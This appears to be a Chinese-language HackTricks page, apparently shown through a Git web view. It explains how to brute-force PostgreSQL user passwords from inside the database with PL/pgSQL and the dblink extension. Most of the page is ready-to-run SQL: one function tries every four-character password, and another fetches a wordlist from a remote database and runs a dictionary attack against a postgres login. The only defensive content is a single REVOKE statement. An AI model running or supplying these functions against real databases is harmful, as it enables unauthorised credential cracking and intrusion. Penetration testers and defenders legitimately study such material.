110 lines
3.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# PL/pgSQL 密码暴力破解
{{#include ../../../banners/hacktricks-training.md}}
**在原始论文中找到[更多关于这些攻击的信息](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**
PL/pgSQL 是一种 **功能齐全的编程语言**,通过提供 **增强的过程控制** 超越了 SQL 的能力。这包括使用循环和各种控制结构。用 PL/pgSQL 语言编写的函数可以通过 SQL 语句和触发器调用,从而扩展数据库环境中的操作范围。
您可以利用这种语言要求 PostgreSQL 暴力破解用户凭据,但它必须存在于数据库中。您可以使用以下方法验证它的存在:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |
```
默认情况下,**创建函数是授予PUBLIC的特权**其中PUBLIC指的是该数据库系统上的每个用户。为了防止这种情况管理员可能需要从PUBLIC域撤销USAGE特权
```sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```
在这种情况下,我们之前的查询将输出不同的结果:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
```
请注意,为了使以下脚本正常工作,**需要存在函数 `dblink`**。如果不存在,您可以尝试通过
```sql
CREATE EXTENSION dblink;
```
## 密码暴力破解
这里是如何进行4个字符密码的暴力破解
```sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';
//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
_请注意即使是暴力破解4个字符也可能需要几分钟。_
您还可以**下载一个字典**并仅尝试那些密码(字典攻击):
```sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'
-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
{{#include ../../../banners/hacktricks-training.md}}